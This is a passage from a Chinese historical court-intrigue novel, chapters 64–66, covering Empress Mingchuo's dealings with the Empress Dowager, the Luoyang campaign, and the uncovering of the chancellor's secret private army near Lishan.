冯濂之惊异地抬起头,看着皇后说不出话。但明绰就说到这里,放下了车帘。皇后的车驾启动了,段锐带着人跟在后面,顺着长街,慢慢消失在了冯濂之的视线中。
第64章
明绰先将萧典送了回去,反复承诺会将今日之事一字不差地写信告知乌兰徵,又阻止了一次萧典拔剑自刎,耐心劝解,好不容易才将他安抚下来,萧典妻儿恭送皇后出门,千恩万谢,自是不提。
段锐一直带人把皇后送回了宫中,才将令牌还给察察。明绰随她一起去长霄殿复命,没想到正遇见慧玄出来。明绰只意外了一瞬,便重新敛了神色。自从那日她严词拒过,慧玄并未再扰过她。如今长霄殿外擦肩,他也只是朝皇后行了一礼,什么都没多说。
明绰和察察一起进去,在门口便听见了温峻的声音:“太后是要他来治臣的伤,还是要他来诛臣的心?”
那语气听得明绰脚下一顿,她心中不太想窥探这样的私隐,但方才进来时正遇到慧玄离开,里面的人都没注意到她的脚步,如今长霄殿里外安安静静,她又怕惊动了里面的人,察察也没有让开的意思,明绰正犹豫,段太后已回道:“你想得太多了。法师慈悲为怀,医道精湛,又不会害你。”
温峻闻言便笑了一声,笑中满是悲戚,竟是哀莫大于心死。
“臣多谢太后的恩典,”里间传来簌簌的声音,似是温峻起了身,“臣告退。”
段知妘:“你腿脚还伤着,不必着急……”
“不必了。”温峻打断她,“太后,臣虽位卑,也知廉耻。”
“你……”
温峻又说了一遍:“臣告退。”紧接着就是脚步声,明绰想躲也来不及,被走出门的温峻撞了个正着,两人都是一愣。反而是察察,面不改色地叫了一声“大人”。温峻脸上先是发白,见明绰的表情很显然已经知道他与太后的事,便飞快地红了一片,低头含糊地叫了一声“皇后”,马上走开了。
明绰本想叫住他问一问冯濂之的事情,但是看他拖着伤腿也要落荒而逃的背影,终究又没有开口。段知妘已经听见了温峻叫她,等明绰进门,她已端坐相候。察察将令牌归还给太后,明绰三言两语交代了丞相府中发生的事情。她既不想进一步激化矛盾,也不想让萧典更无地自容,便把萧典如何受辱轻轻揭过,只说了自己言语敲打过丞相。太后面色虽然如常,但是多少有些心不在焉,手中无意识地轻轻摩挲令牌,好像压根没听明绰在说什么。
“太后,”明绰突然问道,“贺儿薄近日出了什么事吗?”
“贺儿薄?”段知妘抬头看她“他怎么了?”
“今日丞相府中宾客很多,各部都派人来贺。唯独贺儿家只有贺儿冲一个小儿在。”
这多少有些轻慢了。要么,是贺儿薄病了?
段知妘把令牌收起来,微微皱了皱眉:“没听说。”
“也许是我多心了。”
段知妘“嗯”了一声,看起来还是有些心不在焉。明绰朝察察使了个眼色,她便无声地退了出去。她一走,段知妘又警觉了两分,看着明绰微微挑眉:“皇后有话要说?”
“我是在想,”明绰小心斟酌着字句,“温大人和萧大人怎么会去丞相家的席面,瞧着也没请别的汉臣。”
段知妘闻言便揉了揉眉心:“都是他一厢情愿!”语气竟是有些恼,听着不像是在说萧典。
“豪尔特也在温大人那里学过汉话吧?”明绰替温峻说话,“温大人心胸宽广,不以胡汉之别为成见……”
段知妘突然站了起来:“那我要他娶步察巴合的侄女,他怎么说什么也不肯!”
明绰一愣,她不知道还有这事儿。段知妘的表情看起来好像也很后悔突然说出了口,但皇后也不是什么外人,她只微微有些尴尬,便也不装了。明绰见她神色坦然,也直接说了出来:“温大人不愿另娶,想来是有别的缘故,不是介怀胡汉有别。”
段知妘摇了摇头,语气无奈而痛心:“他是疯了心,不想活了。”
明绰没反应过来,茫然地看着太后,段知妘给了她一个眼神,明绰一下子反应了过来,惊得捂住了嘴。温峻定是起了僭越之心,想要太后改嫁。太后有情人,乌兰徵愿意睁只眼闭只眼,还肯重用,说到底是因为太后和温峻都于社稷有用,他愿意顾全大局。但温峻若公然求娶太后,辱及先帝,乌兰徵就是想保也保不住他的命,到时候追究起来,连太后也逃不过罪责。
怪不得段知妘突然冷落了温峻。
明绰放下手,把那份惊愕咽了下去,半晌,轻声道:“温大人也是痴心人。”
“我要他的痴心有何用?”段知妘毫不犹豫地反问,声音冰冷,“我要的是他活着,好好为我做事!他口口声声地不分胡汉之别,真论起婚事就一口回绝,步察巴合会怎么想!你以为齐木格今日为何要羞辱他二人?咎由自取,愚蠢至极!”
明绰被她一连串质问得不敢出声,段知妘也知道不该冲她,几句话说完便闭上眼睛,咬紧牙关狠狠克制,憋得胸膛剧烈起伏,好一会儿才呼出了一口气,平复了声调:“你今日处理得很好,回去早些休息吧。”
这便是下逐客令的意思。明绰犹豫了一会儿,不知该不该留下。太后很少会把自己内心真实的情绪透露给明绰,可是这一刻,明绰似乎感觉得到她在想什么。她本以为段知妘当时恨不得立刻就要召雍州军踏平丞相府是因为她恨齐木格,但转念一想,太后其实从来不是一个这样冲动的人。
明绰觉得她似乎并不应该就这样起身告辞,但又不知道能说什么。安慰或是表达理解之类的话太绵软了,更像是会发生在她和桓宜华或者是叱云额雅之间,而她始终不知道与太后之间是一个什么样的距离。段知妘显然算不上一个真正的婆母,但也称不上姐妹,她有的时候会让明绰想起母亲,但更多的时候,段太后就是段太后。她们是同盟,却不是朋友;是对手,却不是仇敌。
“所以太后才宠幸法师吗?”明绰突然问,“为了让温大人死心?”
段知妘回头冷冷地看了她一眼,她被明绰的这个问题激怒了。太幼稚,又太自以为是。她才多大?见识过几个男人?人间情爱她到底懂了几分?就敢来这样揣测她做什么,不做什么?
“不,”段知妘从牙缝里挤出几个字,“我宠幸慧玄,是因为我愿意。”
明绰不为所动,平静得近乎一种挑衅:“那今日太后不该冲动。”
段知妘没说话,她长久而安静地注视着年轻的皇后。那份被挑衅的怒火不知不觉地消失了,但她还是不明白萧明绰留在这里到底是想做什么。为了窥探她的内心?还是她又有什么无聊的心结需要她来开解?段知妘厌烦萧明绰偶尔的眼神,她知道自己令她想起了另一位太后。有的时候她是故意的,当她需要与萧皇后结盟的时候。但她不想做萧明绰的母亲。她没有耐心拉着她的手,安慰她不要太担心远征的丈夫,温柔地解释为什么她应该这样做,或者为什么不应该那样做——那是谢拂霜该做的事情。段知妘甚至在心中升起了对那个素未谋面的女人的憎恶。你没有把你的女儿教好,现在她站在我面前,用这样的眼神看着我。
“爱别离苦,怨憎会苦,求不得苦……”段知妘顿了顿,“我以为他明白。”
慧玄就明白。他很聪明,也知道
进退。段知妘知道他那里都是虚情假意,但慧玄聪明就聪明在他并不试图以此来冒充爱情。太后不需要爱情,太后需要的是他的顺从,和看透他清冷的出家人皮相下面那颗世俗心所带来的满足。他自恃才高,却只能曲意奉迎,任凭太后掌控——他越是有才,太后就越喜欢他。
“我不是为了让温峻死心。”段知妘突然笑了一声,“萧明绰,我的丈夫已经死了,我不必像你一样,只为了一个男人活着。”
明绰感受到了她有意的刺痛,便把慧玄曾想背叛的事咽了下去。
“但太后还是对温大人有情。”
“花好月圆都有尽时,过了就是过了。”段知妘看着她,还是带着那股淡淡的讥讽,好像她什么都不明白。但不知道为什么,段知妘还是耐心地,几乎带着怜惜,对这什么都不明白的小皇后说,“情是最没有用的东西。”
明绰垂下眼:“那太后应该杀了他。”
温峻僭越,已经危害到了太后的安全。他还拒婚步察巴合,有损胡汉相融的大策。若段太后真的像她说的那样无情,温峻已经没有了活下去的理由。
然而段知妘只是闭上了眼睛:“出去。”
明绰再无别话,起身告辞。
梁芸姑一直在殿外相候,接上了明绰回到长秋殿,明绰也没有休息的意思,马上又到案前给乌兰徵写信。梁芸姑为她磨墨,见她铺开纸写了两句,又停下来,手里握着笔,撑住下巴,眉头紧锁。
“芸姑,”明绰心里还是没放下那层疑虑,“你今日见到贺儿薄了吗?”
梁芸姑也摇了摇头:“好像去的只有他那个小孙子。”
“不对劲。”明绰想得出神,轻轻别过脸张开了嘴。她自小便有咬笔杆子的习惯,梁芸姑一看她的动作就知道她要干什么,当即伸手一拨,不许她咬。明绰扑了个空,哭笑不得地抬头看了梁芸姑一眼。梁芸姑笑笑,继续给她磨墨,突然道:“慧……那个方千绪也问了此事。”
“啊?”明绰一惊,“他什么时候问的?”
“就从长霄殿出来的时候。”
“你怎么说?”
“说没看见贺儿薄啊。”
“那他还说什么了?”
“没说什么,”梁芸姑也有些莫名其妙的,“然后他就走了。”
明绰的眉头皱得更紧,又把笔杆子咬住了。梁芸姑嘴里“啧”了一声,只道:“脏。”明绰也不理她,边琢磨边咬,想得出神。
如果连慧玄也注意到了此事,那就决计不是她多心。
贺儿薄跟他那个死了的姐姐一样,心里没什么主意。乌兰郁弗也知道这个妻弟没用,没给他实职,所以他也只能跟在齐木格身后。
但说到底,还是贺儿薄得身份更贵重,除了他姐姐曾经是乌兰郁弗的皇后,他们贺儿家世世代代都是乌兰部的嫡系,是皇家的近亲。当初立后大典,贺儿薄才是把刀剑献给明绰的亲族之一,齐木格并不在此列。
倒是齐木格这个人,称得上“白手起家”。
他原本出身哪个部落已经没有人知道,也许是家里犯了什么错,被原本的部落驱逐了。据说,他跟随乌兰郁弗的时候,身上连一件抗冻的衣服都没有,赤贫如洗,唯有一条性命,一腔悍勇,誓死追随。后来显贵了,才有了诸部势力跟随。
但他不喜欢那些原本就很有实力的部落,反而是喜欢曲甘部、阿巴颜部这种散落在西海最贫瘠偏远地方的人——就是在西海,曲甘部这种穷得连牛羊都牧不起的部落也是被人看不起的,在乌兰人眼中,他们也算是“异族”。还有他的养子乙满,一头赤发,被视作妖邪,一生下来就被抛弃,齐木格也不嫌弃。他把这些形形色色的人都集合到了自己身边,势力竟也能够同贺儿、步察这样的乌兰嫡系比肩,到乌兰徵登基,更是连贺儿薄和步察巴合都要让他一头。
梁芸姑停下了磨墨的手,突然道:“贺儿薄没用,但他生了个好孙子啊。”
明绰不咬笔杆了,抬头看着她。
梁芸姑往下说:“陛下从西海回来的时候,带在身边的是贺儿库莫乞,留在西海镇守的是乙满。但是如今倒过来了……”
明绰接上话:“贺儿薄反而要跟丞相反目了?”
梁芸姑不置可否地耸了耸肩。
明绰笑了一声:“这叫什么理?四面都要作战,总要有人守这里,有人守那里。陛下那就是有什么人用什么人,哪就是这个意思了?”
“陛下不是这么想的,底下的人就不一定了。更何况贺儿薄又是个糊涂人。”
明绰难以置信:“这也太糊涂了——就算陛下真是这样的意思,那贺儿薄不是更该在此时巴结好丞相吗?”
梁芸姑摇了摇头:“长公主是聪明人,哪知道糊涂人是怎么想的。从前丞相对他呼来喝去,他大概还没觉出来呢,以为是丞相要他帮衬。如今没了底气,就要甩脸了。这世上啊,越是糊涂的人,脾气还越是大。”
明绰让她说得笑起来,笑了一会儿,又微微敛了神色,沉思了一会儿,轻声道:“若当真如此……”
她又想起乌兰徵那句“把长安交给你了”,突然把刚写好的两句话团掉,搁下了笔。
“长公主不写了?”
“阵前凶险,先不拿这些事打搅他。”明绰想了想,“我自有打算。”
第65章
很快,军报便接连不断地从前线传来。
燕军抵达函谷关,乌兰徵占据弘农郡,先切断了洛阳西路的粮道。拔拔真本人并不在洛阳,守军是他招降来的汉人将领石简。石简坚守洛阳西南方向,在宜阳与乌兰徵正面交战,石简不敌,大败而归。拔拔真增兵两万,沿黄河北岸疾驰而下。
明绰正奇怪拔拔真为什么还没有亲至洛阳,更远的战报才缓缓从建康发来。
袁增与袁煦主力控制了北平郡的白狼山要隘,继而占据襄平,完全掐断了从辽东到冀州的陆上粮道。谢维献策,封锁了自卢龙到渔阳的辽西走廊。袁綦则率轻骑五千,自幽州蓟城出兵,经涿郡,直捣邺城。
那两万的屠珲部兵马还没到洛阳,又半道折返,仓皇回援。
石简陷入了孤立无援的境地,只好将大部分兵力都调往洛水东岸,以宜阳、孟津为防线。乌兰徵大军压上,猛攻七日,打得石简一路退回城中。但他依然以洛阳宫城为依托,以伏兵和火攻反击,坚决不退。
乌兰徵在给明绰的信中大赞石简,恨不得能将此人招入麾下。
“他倒是一句不夸袁家父子,”明绰手里拿着信朝梁芸姑抱怨,“本来说好了只是帮他掐断辽东,如今袁綦都打到邺城了。”
这一仗,萧盈得出多少钱,多少人。明绰一想这都是娘家的钱,心疼得直嘬牙
花子。
梁芸姑脸色却严肃得多:“只怕是袁家少将军贪功。”
明绰抬起头,被她这么一提醒,马上也明白了什么。
原本大雍只需要占据东面的辽西走廊,但邺城一旦被袁綦拿下,这场联盟的性质就变了。乌兰徵一定会想,下一步呢?
如果萧盈是假意合作,其实借机朝北方扩张,那袁家父子会不会从邺城一路逼近?到时候石简肯定是守不住洛阳了,但是已经被石简大大消耗了兵力的乌兰徵,也未必还能与袁氏父子一战。那就成了螳螂捕蝉,黄雀在后。
别说在信里夸袁氏父子,乌兰徵没问责皇后就已经算得上冷静了。
明绰顿时感觉牙疼。袁綦勇则勇矣,好像没什么脑子。
她愁了十几天,更新的战报才终于传来。袁綦果然是贪功冒进,领着五千人去邺城放了把火,转头又跑了。据说回去以后袁增气得要军法处置,手下的将士们齐刷刷跪了一地求情,袁煦甚至脱了甲请求与弟弟同死,好不容易才让袁增收回成命。死罪虽然免了,一百军棍还是逃不掉。萧盈甚至亲自给乌兰徵去信告知此事,以期消除误会。
乌兰徵这时自然要替袁綦说话,洛阳的战局一片大好,确实是袁綦在邺城放那一把火的功劳。
但袁綦回撤,拔拔真也就明白了怎么回事。他飞快对局势作出了判断,认定大雍没有投入更多兵力朝北方扩张的打算,当机立断地暂时舍弃辽东,亲率重兵向洛阳驰援,与乌兰徵正面开战。乌兰徵原本已经打进洛阳城,又不得不回撤,重新回到了宜阳、孟津防线以西,与拔拔真对峙。
此时,距离乌兰徵出征已过了四个多月。长安已入夏。
明绰在这段时间找机会见了贺儿薄两次,想试探一番。但贺儿薄果真是个糊涂人,甚至不用皇后如何旁敲侧击,自己就把对丞相的不满说出来了。明绰心里有数,言语间将他捧得极高,说可汗不在,她又年轻,应该是由亲贵们主持大局……把贺儿薄哄得北都快找不着在哪儿了,果然主动去拉了当时为明绰献上刀剑的亲族们过来,常与皇后交游宴饮。
其实段太后早就意识到了自己手段太强硬,从三年前就有意地想让皇后来扮好人。明绰在西海年轻人里面本就名声好,讨人喜欢,经历了上次丞相府一事,年纪大的也觉得年轻的萧皇后处事比段太后更和缓些,有事情愿意找她。太后就在这个时候顺势提出,洛阳战局胶着,需要佛祖的庇佑,她要去西觉寺祈福了,把所有的事情都交给了皇后。
明绰私心里觉得太后就是嫌宫里热,去西觉寺乘凉了。她其实也想去,但已经走不开了。
豪尔特寿宴一事如今已经风头平复,萧典足足称病一月,才肯出来见人。皇后为他撑腰,连有人说了一句要献野猪肉给萧尚书补补身子,都挨了皇后的教训。一时也有不少人心中忐忑,担心皇后是面慈心狠,要秋后算账。
但明绰并没有要追究那件事。齐木格膝下无子,就那么三个女儿,豪尔特是唯一还没出嫁的,是齐木格的心头肉,此事所有人都知道。他喝多了酒,随口一说罢了,乌兰徵又不是那种多疑寡恩的皇帝。明绰虽然在齐木格面前威胁要写信告状,也跟萧典这么承诺过,但她心里很清楚,这事儿写在信里,乌兰徵根本就不会当回事。
萧典口口声声说齐木格有反心,明绰还想再添把火,把齐木格的“反心”再养得更明显一些,等乌兰徵回来自己看看。
只有为君者真的起了忌惮之心的时候,酒桌上的戏言才不再是戏言。
只可惜齐木格比贺儿薄有脑子得多。如今丞相戒备非常,已停了府中的宴饮玩乐,甚至都不怎么上朝与萧典打照面,颇有暂避风头的意思。
另一个一直还没上朝的是温峻,他的腿被丞相府兵伤及了骨头,确实是不好动弹。明绰暂时不能处置丞相,虽然知道温峻多半不会在心中怀怨,但温峻的名声和人缘都好,明绰唯恐其他汉臣替他不平,于是特地抽了个时间,亲自上了一趟门。
明绰没打算摆皇后的架子,带的人很少,也没提前通报。直到皇后到门前了温峻才知道,拄着拐就出来迎了。他府中比起丞相差得不是一点半点,这两年虽然官大了,住的地方还是小,下人也没几个,所以温峻十分羞窘,一直向皇后告罪,怕怠慢了。
“真的不怠慢……”明绰哭笑不得,不知说了第几次,“温大人快坐下吧!”
温峻只好红着脸坐下,他行动不便,还是梁芸姑搭了把手才扶着坐稳。他会客的地方就是书房,明绰环视了一圈,发现她从建康带来的那些书竟有一大半都在他这里了。纸书都还算是新的,更多的是旧竹简,堆满了架子。桌上还有摊开的一卷纸,砚中仍有新墨,笔架在砚台边,羊毫仍湿。明绰便一笑:“看来是我扰了温大人做学问。”
“皇后真是折煞臣……”
“大人在写什么?”
“不是什么正经东西,”温峻有些不好意思,“臣得了一块拓印,是从闾久须氏王陵中的墙壁上拓下来的——哦,闾久须氏就是……”
明绰接了话:“乌兰先祖。我知道。”
温峻愣了一下,然后笑了:“皇后博学。”
“是温大人那本《西海志异》写得好。”
温峻脸上更现喜色:“原来皇后读过……唉,多年前的疏浅之作,让皇后见笑。”
“你接着说那块拓印,写了什么?”明绰顿了顿,又道,“西海人不是没有文字吗?”
“没有太成型的文字,”温峻解释道,“但是王陵之中,总还是有些简单的图样记叙先王功绩,就是晦涩难懂,后人已经看不明白了……臣也就是好奇,不过瞎猜自娱。”
明绰不禁哑然失笑,她还以为温峻定然过得愁云惨雾,没想到他忙里偷闲,还能自娱。国家打仗,丞相擅权,太后移情,好像都不是什么大事,比不上死人坟墓里墙上语焉不详的图样。
“温大人光风霁月,”明绰由衷地叹了口气,“我该学一学。”
“臣不敢。”
二人正说话,却听书架后面突然传来“啪”的一声,一卷旧竹简摔到了地上。明绰原本还没多心,偏偏有只手立刻伸出来,把竹简捡回去了。明绰马上转头看向温峻,他也是表情尴尬,半点藏不住心绪。
于是明绰就明白了:“冯先生,出来吧。”
书房里一阵静默,温峻动了动,但明绰抬了抬手,示意他别说话。不过顷刻,冯濂之果然从藏身的书架后走了出来,向皇后磕头行礼:“草民见过皇后。”
“冯先生在这里做什么?”
温峻赶紧请罪:“皇后恕罪,是臣请他过府一同参详那张拓片。臣……”
明绰打断他,又问冯濂之:“那你躲什么?”
冯濂之低着头,只道:“草民卑贱,不敢污了皇后的眼。”
明绰低头打量了他一会儿,冯濂之始终没有抬头。温峻已经伸手去够他的拐,想站起来替他求情,但明绰只道:“那就一起坐下吧,也跟我讲讲,那拓片上到底都说了什么。”
冯濂之一惊,没忍住抬头看了明绰一眼,然后又飞快地低下头,犹豫了一会儿,终于应了一声:“是。”
实际上那拓片讲了什么,他们俩也没参详出来。三人边喝茶边聊,倒有一半时间是明绰在旁敲侧击地问冯濂之的身世。他祖籍在凉州,十三岁时,家乡被乌兰人劫掠,父亲被杀,他与母亲都被掳回了西海做奴隶。后来乌兰郁弗一路打进汉人的地盘,要权贵们学汉话,齐木格学不会,也不肯学,便从羊圈里把他挑了出来,带到了长安。
明绰一听就明白了,冯濂之谈吐得体,当初被齐木格带到御前,面对乌兰徵也没有畏缩之意,从十三岁起就做了乌兰人的奴隶,如今还能与温峻交游论学,这份学识气度,想来遭难之前也不可能是普通人家。
“当年是我轻慢了冯先生,”明绰举了茶杯代酒,“先生千万不要往心里去。”
冯濂之仓皇跪地,忙道:“草民不敢!”
明绰伸手欲扶,冯濂之不敢沾她,跪在地上缩了几步,明绰只好收回手:“先生起来吧。”
冯濂之犹豫片刻才起了身,一张脸煞白,耳朵尖却红得要滴血,似是压抑着极大的情绪,却不敢泄露一丝一毫。
“那你母亲如今可好?”
冯濂之垂头:“家母不耐劳苦,早就去世了……”
“可还有亲人在世?”
冯濂之还
是摇摇头,明绰不确定这是“没有”,还是他也不知道。
“凉州如今也在大燕治下,”明绰想了想,“已太平多年了,冯先生可有回乡寻过亲?”
冯濂之苦笑了一声,只道:“草民这条命是丞相给的。”
言下之意,便是齐木格不放他走了。明绰眉毛一扬,与温峻对视了一眼,只见温峻神色有些不自然。他与冯濂之结交,自然知道两人立场不和。但实在意气相投,像遇到闾久须氏拓片这种事,实在也没有旁人可以一起参详,温峻一向都是不提丞相。但如今话已提到了丞相,冯濂之自己也知道不能久留了,执意告辞请退。温峻也没留他,等他一走,忙向皇后告罪。
明绰并不生气,只是反问他:“温大人何罪之有?”
“臣与冯濂之结交,纯为学术之故……皇后明鉴,臣绝无与丞相攀附之心!”
“我知道。”明绰敛了敛袖子,也起了身,“你要是有那个心,也不会被人打断腿了。”
温峻跪在地上:“皇后放心,臣不会再见他了。”
“这又是何必?”明绰笑了笑,“知己难得啊,温大人。”
温峻一时摸不清楚皇后这是真心话还是敲打他,忍不住抬头看了看明绰的脸色。他与齐木格的翻译是好友这件事,连太后都没敢告诉。今日也是突然被皇后撞破,实在没办法。
明绰又道:“你既与他结交,他父亲叫什么名字,你总该知道吧?”
“臣……”温峻茫然地眨了眨眼,“知道。”
“那就派人去凉州,找一找冯家可还有亲人在世。”明绰看着他,“知己一场,温大人这点事都不愿意帮他吗?”
温峻又眨了眨眼,他当然不是不愿意,而是不敢。但现在是皇后亲自开的口,温峻只是怔愣了片刻,便马上俯首行礼:“臣明白了。”
明绰笑了笑,抬手把温峻从地上扶了起来:“温大人,好好养伤。”
明绰回了宫,好像完全把此事抛到了脑后,再也没有提起。洛阳的战事已到了僵持阶段,军报反而缓了下来,剩下的便只有乌兰徵的私信。陛下怨念很大,说谁谁谁写信夸皇后把朝政处理得很好,怎么连大臣都知道给他写信,皇后不给他写。明绰只好回复,让他别浪费人力传这样不相干的信,早点打了胜仗回来再说。于是洛阳下一封来信便是贴了鸟羽的军中急件,吓得明绰拆信的手都在抖,还以为出了什么事,但一打开,还是乌兰徵的笔迹。上一句还在说拔拔真被断了粮草肯定撑不长久云云的“正事”,下一句就开始星星月亮、思卿念卿地胡言乱语。明绰看得哭笑不得,倒想问问教陛下汉话的到底是哪位师父,这都教的什么东西,嘴上只道:“怎么这样胡闹!”
梁芸姑低着头给她整理案头已经堆起来的文书,嘴角也含着笑:“都把陛下逼成这样了,长公主就回一封吧,一路都有驿站换马,又累不死人。”
“劳民伤财。”明绰小声道,“什么昏君。”
梁芸姑点点头:“好,你是贤后。”
明绰假装没听出来她阴阳怪气,顺手从群臣的上表里抽出了温峻熟悉的笔迹。前面照例问安,写了几件汉学中的杂事,要皇后定夺,然后又不经意地写了一笔,“凉州事已了”。紧接着,笔迹突然就变了,前言不搭后语,只写了几个字。
“骊山北麓,柳泉村。”
第66章
明绰传了地方令来问,却说不知道“柳泉村”这个地方。她去查去年为了筹备军队粮草时朝各地征粮的记录,也没有查到有“柳泉村”交过粮。
然而皇后派了人去骊山北麓,回来却说确实有那么一个小村子,人口还不过百,拢共那么几户,只有老人和女人,一个青壮年都不剩了。许多人家都已经门户倾塌,看起来饱受战争之苦,也许正是因此,才免了这个村庄的征粮。
明绰再传温峻来宫里问话,他承认那一句是冯濂之在他奏疏中所写,但冯濂之一句都不肯多解释,还嘱咐了他不要告诉太后,这件事只能让皇后知道。明绰让温峻再去联络冯濂之,那人却再也没有出过丞相府。
明绰一时毫无头绪,只好暂时抛到了脑后,却在几天后的深夜突然被梁芸姑唤醒。
“怎么了?”她迷迷糊糊地,没听清楚梁芸姑说什么。梁芸姑手脚麻利地给她穿上衣服,只道:“慧玄法师来了。”
明绰一愣:“方千绪?”
他大半夜的怎么进的宫?
“奉太后手谕来接皇后出宫。”梁芸姑来不及给皇后梳头,只把一顶帷帽套在了明绰头上,拉着她就起身。明绰还想问话,但梁芸姑朝她做了个噤声的手势,让她先别问。今天晚上贴身伺候的是冬青,她也醒着。梁芸姑交代了她两句,让她还是在屋里呆着,做一切如常的样子,不要叫醒其他人。明绰被这架势吓得不敢再问,看着梁芸姑动作飞快地在从妆奁里拿出什么,又从案上拿了什么,最后用一块布包住了皇后的玺印,揣在身上,催着明绰出去:“快走!”
明绰跟在她身后,没有从正门出去,而是绕到了长秋殿后面的小厨房,走了一条宫里仆役通行的窄道。夜深无灯,明绰没走过这条路,不敢快步,只好叫了一声“芸姑”,那语气分明还是一个受到了惊吓的小孩子。
梁芸姑停下来,单手把皇后玺印抱住,腾出一只手,牵住了明绰往前走。
“丞相在骊山深处养了三千死士。”梁芸姑把声音放得很低,不像是怕被人听见,倒像是不想吓着她,“柳泉村里的老弱妇孺其实是丞相安排在那里照顾和监管死士的人。”
明绰倒吸了一口冷气,一下子全明白了。
养三千死士花的是钱,但私造三千人军队所需的甲和兵器,不可能靠花钱就无声无息地做到。齐木格若要起事,必定要先去长安武库拿兵器。皇帝不在,太后和皇后的手令都能打开武库。但是太后手里有雍州军,他胁迫不了,那么他的目标就只剩下皇后。
梁芸姑拉着明绰拐了个弯,也不知道这是宫里哪块地方,杂草丛生,无人打理。月下却停着一辆马车,慧玄站在马前,见到她们二人前来,礼也不行,只催着明绰赶紧上车。
“去哪里?”明绰不放心地问了一句。
“西觉寺。”
明绰和梁芸姑都爬进马车,慧玄动作敏捷地跳进车夫的位置,一扬鞭,催着车马跑了出去。
长安的夜晚很平静,无人也无灯,一点儿不像是有什么动乱要发生的样子。慧玄没有走城中的大道,从城外的小路绕去了西觉寺,等走到的时候天都快亮了,明绰一下车,便见到西觉寺外重兵围着,段锐亲自站在门口迎接皇后。
“段将军,”明绰让他免礼,“雍州军全都来了吗?”
段锐只道:“皇后放心,西觉寺绝对安全。”
他说完这句,就再也没有对皇后解释什么,做了个放行的手势。慧玄在前面带路,梁芸姑始终站在明绰身边,还拉着她的手。明绰在帷帽下努力地辨认到底是寺中哪里,等到发现还是去了清心居的时候,她突然停住了脚:“太后呢?”
慧玄把房间门推开,做了个恭请的手势,但明绰没动。
“我要见太后。”
“太后已经带兵进城了。”慧玄语气平静,“皇后还是进来先喝杯茶,压压惊。”
明绰犹豫了片刻,她不想听话,但是又不知道还能怎么办。这段日子以来,她在群臣之中斡旋,自觉诸事都在把握之中,但原来都是错觉。今晚她突然又变成了一个手足无措的小女孩,被保护,也被控制。
太后才是长安真正的主人。
慧玄看不清她帷帽下的表情,只看到帷帽垂下的轻纱被清晨的风拂起来,贴住了她的面颊,勾出她侧脸的弧线。然后皇后低下头,无声地走进了房间。慧玄侧了侧身,让梁芸姑也进去,最后才在她们身后掩上了门。
明绰摘下了帷帽,接过了慧玄递过来的一盏热茶,但完全没有喝的意思,往桌上一放就开了口:“太后怎么知道丞相养死士的事情?”
慧玄还在给梁芸姑倒茶,闻言只道:“皇后不该打草惊蛇。”
明绰脸上一红,她已经推测出来了,今晚突然有异动,肯定是因为她派人去了柳泉村——可是冯濂之那话语焉不详的,她肯定会去查啊!
“查也不该是这样大张旗鼓的查法。”慧玄把茶递给了梁芸姑,摇了摇头,那模样好像是在叹息明绰还是太嫩了。她明知温峻的折子上多半是冯濂之的笔迹,那此事必然和丞相有关,竟然还是不多加小心……可是话到嘴边,慧玄还是把那些淡淡的责怪之意收了回去。
皇后毕竟新立,手里的人都是明路上的。她那边又是召地方令,又是查交粮记录的,不仅丞相被惊动,连太后也没有瞒过。太后的人隐秘得多,在骊山走了一圈,就什么都明白了。
“那丞相今夜起事……”明绰心里突然一紧,难道又是冯濂之报的信?那他可还有命在?
但是慧玄不紧不慢地打断了她:“丞相今夜没有起事——至少现在还没有。”
明绰愣住了,眨了眨眼:“那太后为何……?”
“自然是先下手为强。”慧玄看了一眼梁芸姑怀中显眼的印玺,突然笑了笑,“还是梁女史办事牢靠,想得到把皇后印宝也带上。”
梁芸姑立刻保护性极强地护住了怀中的印玺,同时一只手臂伸出来挡在了明绰面前:“太后到底想干什么!”
“放心,”慧玄笑了笑,“太后只是以防万一。”
明绰终于慢慢反应过来,如果齐木格今晚根本没有起事,也就没有进宫挟持皇后的危险。那么太后把她带来西觉寺的目的就很明确了。她掌握了骊山的秘密,就一刻也不肯耽搁地要把齐木格置于死地。所以冯濂之才会让温峻不要告诉太后,但是温峻毕竟没有听他的。太后连夜把皇后接到身边,除了要保护她的安全,也有保证皇后站在她这边的意思。太后会召集满朝文武,让乌兰部的权贵们也看看,此事她已经得到了皇后的支持,不给明绰一点留下齐木格性命的机会——她知道,明绰一定会这样做。
洛阳那边还在胶着,齐木格出了事,万一乙满阵前哗变,乌兰徵怎么办!
明绰猛地站起来,想往外跑,慧玄把茶放下,叹了口气:“皇后,你救不了齐木格了。”
明绰回过头看着他,慧玄给了她一个眼神,让她坐下。他眼中没有半分嘲讽皇后棋差一着的意思,反而带着几分同情,甚至是理解。明绰拳头紧握,半晌也没有想出来她要怎么突破西觉寺外面的重兵,最后只能重新坐了回来。
慧玄这才宽慰似的对她说:“齐木格未必就不动手。养死士一事既然已经败露……”
“那也是被太后逼的!”明绰不自觉地咬牙打断了他。齐木格权倾朝野,深得乌兰徵的信任,就算他有些小人得志,忘乎所以,最多也就是僭越。他若要谋反,没有必要阴养死士,手里有的就是兵。可他让部下都跟着乌兰徵上战场,却又在骊山深处养死士,那就很明显是为了在太后的雍州军面前自保。
慧玄:“所以啊,太后不能给他留下去陛下面前自辩的机会。”
“就算他能自辩,陛下心里也不可能当做无事发生,”明绰急切道,“再加上他种种僭越的言行,等陛下回来……”
“等陛下回来,他就已经驱散死士,毁灭证据了。”慧玄摇了摇头,“太后太了解陛下了,当年拔拔真与兀臧蛮之叛,让先帝含恨而终,陛下有了心结。齐木格在那个时候展现出来的绝对忠诚,在陛下心中是很难推翻的。若是此战得胜,乙满再立军功,齐木格的地位只会越来越稳固,错过了这个时机,以后就很难再动他了。”
“所以,”明绰牙关咬得更紧,几乎绷出血,“她就不顾洛阳的战局,也不顾陛下在阵前的安危吗?”
“若是齐木格继续得势,死的就会是太后。”慧玄的声音近乎冷酷,“洛阳胜不胜是乌兰徵的霸业,与她何干?”
明绰突然噎住,说不出话来。她不死心地在心里反推,到底是哪一步上她本可以做出不一样的选择?是她不该要温峻拉拢冯濂之?可是冯濂之说此事只能告诉皇后,就是因为感念她的恩情,不想让她在一无所知的情况下被齐木格挟持,这就说明齐木格确实是有这样的打算的。到最后,明绰终于不得不承认,慧玄是对的。太后和齐木格之间早就是死局,乌兰徵留给她的是一个不可能完成的任务。
慧玄再次把明绰一口没喝的茶往前推了推:“皇后现在要想一想,陛下回来以后该怎么办。”
明绰咬着下唇,什么都没说,她担心的是乌兰徵还能不能平安回来。最后是梁芸姑开了口:“请法师赐教。”
